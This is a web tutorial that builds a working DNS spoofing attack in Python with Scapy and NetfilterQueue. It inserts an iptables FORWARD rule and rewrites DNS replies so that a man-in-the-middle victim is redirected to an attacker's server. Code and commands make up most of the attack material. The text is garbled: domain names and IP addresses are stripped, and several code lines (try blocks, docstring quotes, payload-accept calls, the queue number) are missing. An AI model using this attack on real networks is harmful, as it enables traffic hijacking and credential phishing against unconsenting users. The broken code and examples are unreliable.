How to Make a DNS Spoof attack using Scapy in Python

Writing a DNS spoofer script in Python using Scapy library to successfully change DNS cache of a target machine in the same network.
Abdou Rockikz · 9 min read · Updated feb 2020 · Ethical Hacking · Packet Manipulation Using Scapy

In the previous tutorial, we have discussed about ARP spoof and how to successfully make this kind of attack using Scapy library. However, we haven't mentioned the benefit of being man-in-the-middle. In this tutorial, we will see one of the interesting methods out there, DNS spoofing.

What is DNS

A Domain Name System server translates the human-readable domain name ( such as ) into an IP address that is used to make the connection between the server and the client, for instance, if a user wants to connect to, the user's machine will automatically send a request to the DNS server, saying that I want the IP address of as shown in the figure:

DNS RequestThe server will respond with the corresponding IP address of that domain name:

DNS Response

The user will then connect normally to the server:

Connection to the server after DNS Request

Alright, this is totally normal, but now what if there is a man-in-the-middle machine between the user and the Internet? well, that man-in-the-middle can be a DNS Spoofer!

What is DNS Spoofing

DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect result record, e.g. an IP address. This results in traffic being diverted to the attacker's computer (or any other computer). (Wikipedia)

But the method we are going to use is a little bit different, let's see it in action:

DNS Spoof Request

Note: In order to be a man-in-the-middle, you need to execute the ARP spoof script, so the victim will be sending the DNS requests to your machine first, instead of directly routing them into the Internet.

Now since the attacker is in between, he'll receive that DNS request indicating "what is the IP address of", then he'll forward that to the DNS server as shown in the following image:

The attacker forwarding the DNS requestThe DNS server received a legitimate request, it will respond with a DNS response:

DNS Response

The attacker now received that DNS response that has the real IP address of, what he will do now is to change this IP address to a malicious fake IP ( in this case, his own web server or or whatever ):

DNS Response Spoofed IP

This way, when the user types in the browser, he'll see a fake page of the attacker without noticing!

Let's see how we can implement this attack using Scapy in Python.

Writing the Script

First, I need to mention that we gonna use NetfilterQueue library which provides access to packets matched by an iptables rule in Linux (so this will only work on Linux distros).

As you may guess, we need to insert an iptables rule, open the linux terminal and type:

iptables -I FORWARD -j NFQUEUE --queue-num 0

This rule indicates that whenever a packet is forwarded, redirect it ( -j for jump ) to the netfilter queue number 0. This will enable us to redirect all the forwarded packets into Python. 

Now, let's install the required dependencies:

pip3 install netfilterqueue scapy

Let's import our modules ( You need to install Scapy first, head to this tutorial or the official scapy documentation for installation ):

from scapy.all import *
from netfilterqueue import NetfilterQueue
import os

Let's define our DNS dictionary:

# DNS mapping records, feel free to add/modify this dictionary
# for example, will be redirected to
dns_hosts = {
    b"": "",
    b"": "",
    b"": ""

The netfilter queue object will need a callback that is invoked whenever a packet is forwarded, let's implement it:

def process_packet(packet):
    Whenever a new packet is redirected to the netfilter queue,
    this callback is called.
    # convert netfilter queue packet to scapy packet
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        # if the packet is a DNS Resource Record (DNS reply)
        # modify the packet
        print("[Before]:", scapy_packet.summary())
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # not UDP packet, this can be IPerror/UDPerror packets
        print("[After ]:", scapy_packet.summary())
        # set back as netfilter queue packet
    # accept the packet

All we did here is converting the netfilter queue packet into a scapy packet, then checking if it is a DNS response, if it is the case, we need to modify it using modify_packet(packet) function, let's define it:

def modify_packet(packet):
    Modifies the DNS Resource Record `packet` ( the answer part)
    to map our globally defined `dns_hosts` dictionary.
    For instance, whenever we see a answer, this function replaces 
    the real IP address ( with fake IP address (
    # get the DNS question name, the domain name
    qname = packet[DNSQR].qname
    if qname not in dns_hosts:
        # if the website isn't in our record
        # we don't wanna modify that
        print("no modification:", qname)
        return packet
    # craft new answer, overriding the original
    # setting the rdata for the IP we want to redirect (spoofed)
    # for instance, will be mapped to ""
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
    # set the answer count to 1
    packet[DNS].ancount = 1
    # delete checksums and length of packet, because we have modified the packet
    # new calculations are required ( scapy will do automatically )
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # return the modified packet
    return packet

Now, let's instantiate the netfilter queue object after inserting the iptables rule:

# insert the iptables FORWARD rule
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# instantiate the netfilter queue
queue = NetfilterQueue()

We need to bind the netfilter queue number with the callback we just wrote and start it:

    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")

I've wrapped it in a try-except to detect whenever a CTRL+C is clicked, so we can delete the iptables rule we just inserted.

That's it, now before we execute it, remember we need to be a man-in-the-middle, so let's execute our arp spoof script we made in the previous tutorial:

ARP SpoofLet's execute the dns spoofer we just created:

r[email protected]:~# python3

Now the script is listening for DNS responses, let's go to the victim machine and ping

Pinging when dns spoofed

Wait, what? The IP address of is !

Let's try to browse google:

DNS Spoof result

I have set up a simple web server at ( a local server) which returns this page, now is mapped to ! That's amazing.

Going back to the attacker's machine:

DNS Spoof Output

Congratulations! You have successfully completed writing a DNS spoof attack script which is not very trivial. If you want to finish the attack, just click CTRL+C on the arp spoofer and dns spoofer and you're done.

DISCLAIMER: I'm not responsible for using this script in a network you don't have permission to, use it on your own responsibility.

To wrap up, this method is widely used among network penetration testers, now you should be aware of this kind of attacks.

Learn also: How to Build a WiFi Scanner in Python using Scapy.

Happy Crafting ♥

View Full Code
Sharing is caring!

Read Also

Comment panel

Comment system is still in Beta, if you find any bug, please consider contacting us here.